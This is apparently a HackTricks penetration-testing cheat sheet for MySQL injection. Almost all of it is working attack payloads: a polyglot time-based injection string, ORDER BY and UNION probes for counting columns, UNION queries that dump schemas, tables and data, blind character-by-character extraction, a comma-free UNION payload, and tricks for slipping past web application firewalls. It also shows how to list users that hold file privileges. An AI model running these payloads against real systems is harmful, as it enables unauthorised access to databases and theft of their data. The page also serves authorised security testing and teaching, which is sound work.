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**This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to:** [**https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md**](https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)
# Comments
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
# Interesting Functions
## Confirm Mysql:
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
## Useful functions
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat() FROM
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
# All injection
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
# Flow
Remember that in "modern" versions of **MySQL** you can substitute "_**information\_schema.tables**_" for "_**mysql.innodb\_table\_stats**_**"** (This could be useful to bypass WAFs).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table
SELECT , FROM ; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
## **Only 1 value**
* `group_concat()`
* `Limit X,1`
## **Blind one by one**
* `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
## **Blind adding**
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
* `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
* `SELECT INSTR('foobarbar', 'fo...')=1`
# Detect number of columns
Using a simple ORDER
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
# MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
# SSRF
**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
# WAF bypass tricks
## Information\_schema alternatives
Remember that in "modern" versions of **MySQL** you can substitute _**information\_schema.tables**_ for _**mysql.innodb\_table\_stats**_** ** or for _**sys.x$schema\_flattened\_keys**_ or for **sys.schema\_table\_statistics**
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## MySQLinjection without COMMAS
Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
## Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
## MySQL history
You ca see other executions inside the MySQL reading the table: **sys.x$statement\_analysis**
## Version alternative**s**
```
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```
Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**